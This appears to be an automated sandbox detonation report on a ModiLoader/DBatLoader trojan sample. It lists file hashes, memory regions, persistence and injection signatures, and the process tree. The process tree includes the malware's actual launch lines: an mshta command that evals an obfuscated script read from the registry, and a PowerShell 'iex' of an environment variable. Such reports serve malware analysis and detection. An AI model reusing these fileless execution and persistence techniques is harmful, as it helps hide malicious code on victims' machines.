memory/1552-68-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-67-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-69-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-71-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-76-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-80-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-79-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-78-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-81-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-77-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-70-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-88-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2644-89-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2644-93-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2644-100-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2644-90-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2644-99-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2644-98-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2644-97-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2644-96-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2644-95-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2644-94-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2644-92-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2644-91-0x0000000000110000-0x000000000024E000-memory.dmp

memory/3020-127-0x0000000000990000-0x0000000000A64000-memory.dmp

C:\Users\Admin\AppData\Local\d71742\ee03f2.bat

MD5 251c82732dbd03982f565deed73bb4f2
SHA1 2f903f60f1946953494fb995438cc2419abe59df
SHA256 4b67bfb9575e3dffcba2ad2d0c3b194119b1671d0e079ca9a2ff85b177d438f2
SHA512 1c6d1dd21ef660f870e23663b8f895f2255bf43830e93690217124a6b4a8cc563f97a4db145dd247b93bda3d49b7ef9d2ddf4ce58c72eccfb4609a356afd1344

C:\Users\Admin\AppData\Roaming\3aef84\6d4792.c56af49

MD5 4bb5b121700eeec8e60cdfd560b2aa74
SHA1 039a11573e681d8adcb327bbfcc1d5fddf0a1e30
SHA256 fd25885b90e966540c575b286dd96af738194dd5085876a0e96a6c1594d90d90
SHA512 700ae6b102d49944bf9449d52dc57147a8939521ced3ab8fcaaa17c745a63b4029fc0430faee1f67acdafe2e3bbe84e6126ea00ebbe09ac6bb418517429bc6b4

C:\Users\Admin\AppData\Local\d71742\cc24ba.lnk

MD5 796e9e62db8020e9c8add46b887ba841
SHA1 07c7952978359625b73e5eabce1449b552da07d1
SHA256 b3565fcd6dece59961e6195daba921ea4fa99f96f62758d17eec06d1ef9f73e2
SHA512 b9d16d161f190be1b530d37d1fb8842f257d14e6645c1053ddfb1671014b4c80e98e878fbde0bcd849c2d810052991f6e484da797cf4c61d6573009d03ee8326

C:\Users\Admin\AppData\Local\d71742\043bcc.c56af49

MD5 1b472e17d5013b15c94b0aa7131d1cd7
SHA1 b64e99be8a2bf47e5cb83ccee266968e2319879b
SHA256 91570976d4dd623c9a6e1c4b2a32eba74227853b18bc74f4ca0d4ee36ec87323
SHA512 5868282ec326de908ad5951046ca984b076f27112c17f590e5ba3efedc4bff01c14703ec1c133c491a5c51d1fc0e4845446923e2b4d175c2b6d204fda92c8a5b

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\162913.lnk

MD5 6339e3dd8081a066e8b42cd033454254
SHA1 6fd499771a1921bd3a3d67a044e1870519e077bf
SHA256 e783742cde80e10e048e6eea8a32e400af782bc656162d38fac0155a50618754
SHA512 5b7b858ea01b85dd05c30db716f7a63c63d7f777fbe13c112e4f97c9515eafa135708d6558f105fbcece783dcd0321f7982181ca52f40fc4c80baff055cd2d06

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-28 23:43

Reported

2024-05-28 23:46

Platform

win10v2004-20240508-en

Max time kernel

129s

Max time network

147s

Command Line

"C:\Users\Admin\AppData\Local\Temp\7ecf23f3ab2568c8dc95bd1ec0d3ad15_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation C:\Windows\system32\mshta.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\7ecf23f3ab2568c8dc95bd1ec0d3ad15_JaffaCakes118.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1144 set thread context of 392 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe C:\Windows\SysWOW64\wscript.exe

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4044 wrote to memory of 1144 N/A C:\Users\Admin\AppData\Local\Temp\7ecf23f3ab2568c8dc95bd1ec0d3ad15_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe
PID 4044 wrote to memory of 1144 N/A C:\Users\Admin\AppData\Local\Temp\7ecf23f3ab2568c8dc95bd1ec0d3ad15_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe
PID 4044 wrote to memory of 1144 N/A C:\Users\Admin\AppData\Local\Temp\7ecf23f3ab2568c8dc95bd1ec0d3ad15_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe
PID 1144 wrote to memory of 628 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe C:\Windows\SysWOW64\wscript.exe
PID 1144 wrote to memory of 628 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe C:\Windows\SysWOW64\wscript.exe
PID 1144 wrote to memory of 628 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe C:\Windows\SysWOW64\wscript.exe
PID 1144 wrote to memory of 392 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe C:\Windows\SysWOW64\wscript.exe
PID 1144 wrote to memory of 392 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe C:\Windows\SysWOW64\wscript.exe
PID 1144 wrote to memory of 392 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe C:\Windows\SysWOW64\wscript.exe
PID 1144 wrote to memory of 392 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe C:\Windows\SysWOW64\wscript.exe
PID 1144 wrote to memory of 392 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe C:\Windows\SysWOW64\wscript.exe
PID 836 wrote to memory of 4932 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 836 wrote to memory of 4932 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 836 wrote to memory of 4932 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\7ecf23f3ab2568c8dc95bd1ec0d3ad15_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\7ecf23f3ab2568c8dc95bd1ec0d3ad15_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe UUPPHBZOfNIWNOEBZBh

C:\Windows\SysWOW64\wscript.exe

- CmdLine Args

C:\Windows\SysWOW64\wscript.exe

- CmdLine Args

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:md6Eygk3="VvBQ";i6i0=new%20ActiveXObject("WScript.Shell");KE4WKfhtm="scRs";MCZ1H=i6i0.RegRead("HKLM\\software\\Wow6432Node\\MLpDzcoIm\\Hgq4gKT");jG2Wowg="I1DRMDbQUi";eval(MCZ1H);UHvYwPMd2="ZgfSsBXN";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:ksoezgq

Network

Country Destination Domain Proto
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 133.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
NL 23.62.61.97:443 www.bing.com tcp
US 8.8.8.8:53 97.61.62.23.in-addr.arpa udp
NL 23.62.61.97:443 www.bing.com tcp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe

MD5 71d8f6d5dc35517275bc38ebcc815f9f
SHA1 cae4e8c730de5a01d30aabeb3e5cb2136090ed8d
SHA256 fb73a819b37523126c7708a1d06f3b8825fa60c926154ab2d511ba668f49dc4b
SHA512 4826f45000ea50d9044e3ef11e83426281fbd5f3f5a25f9786c2e487b4cf26b04f6f900ca6e70440644c9d75f700a4c908ab6f398f59c65ee1bff85dfef4ce59

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBh

MD5 adbbe9634b5819cc48cb9700d0d21f7b
SHA1 4a2f11f35db9fd8a3dfff28c9bfcd1463a8aeb2e
SHA256 af423bd619a7ddf795f53194985596794c30279a56221dd30b67c3a7ba19a865
SHA512 60d80abf67cedbd2d86459461b90eba039ec14b6f002daf44468ce621960d5fc745ccb6319f9c15fd0c29cfe6581ac2026d8747908005fbbf245d71144171d04

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\TcEMbLQgCOBP

MD5 8fadfcb36f2fcb8cd5563aa718ff7958
SHA1 00ed85c2346231c8d9b146bf77abe37712f298a5
SHA256 abc35989ce7d5dddcaba45ee4fabf1d7029b6afc5ab11bfb6c69a8a5a9a79f91
SHA512 63b9bcd5361c13165104446d981022614c8f84345895937d0686d5b37407a105c196e2219a1f09feb552a778987ca6536e8914987073ba92b62364b62d4ce139

memory/1144-17-0x0000000000E80000-0x0000000000E81000-memory.dmp

memory/392-18-0x0000000000400000-0x0000000000439000-memory.dmp

memory/392-26-0x0000000000400000-0x0000000000439000-memory.dmp

memory/392-30-0x0000000001680000-0x0000000001754000-memory.dmp

memory/392-31-0x0000000001680000-0x0000000001754000-memory.dmp

memory/392-29-0x0000000001680000-0x0000000001754000-memory.dmp

memory/392-32-0x0000000001680000-0x0000000001754000-memory.dmp

memory/392-27-0x0000000001680000-0x0000000001754000-memory.dmp

memory/392-28-0x0000000001680000-0x0000000001754000-memory.dmp

memory/392-33-0x0000000001680000-0x0000000001754000-memory.dmp

memory/392-34-0x0000000001680000-0x0000000001754000-memory.dmp

memory/4932-36-0x0000000002F60000-0x0000000002F96000-memory.dmp

memory/4932-37-0x0000000005A70000-0x0000000006098000-memory.dmp

memory/4932-38-0x00000000058E0000-0x0000000005902000-memory.dmp

memory/4932-39-0x0000000006110000-0x0000000006176000-memory.dmp

memory/4932-40-0x0000000006180000-0x00000000061E6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0ahyeadd.wgx.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4932-50-0x00000000061F0000-0x0000000006544000-memory.dmp

memory/4932-51-0x0000000006700000-0x000000000671E000-memory.dmp

memory/4932-52-0x0000000006740000-0x000000000678C000-memory.dmp

memory/4932-53-0x0000000007F60000-0x00000000085DA000-memory.dmp

memory/4932-54-0x0000000006C00000-0x0000000006C1A000-memory.dmp

memory/392-56-0x0000000001680000-0x0000000001754000-memory.dmp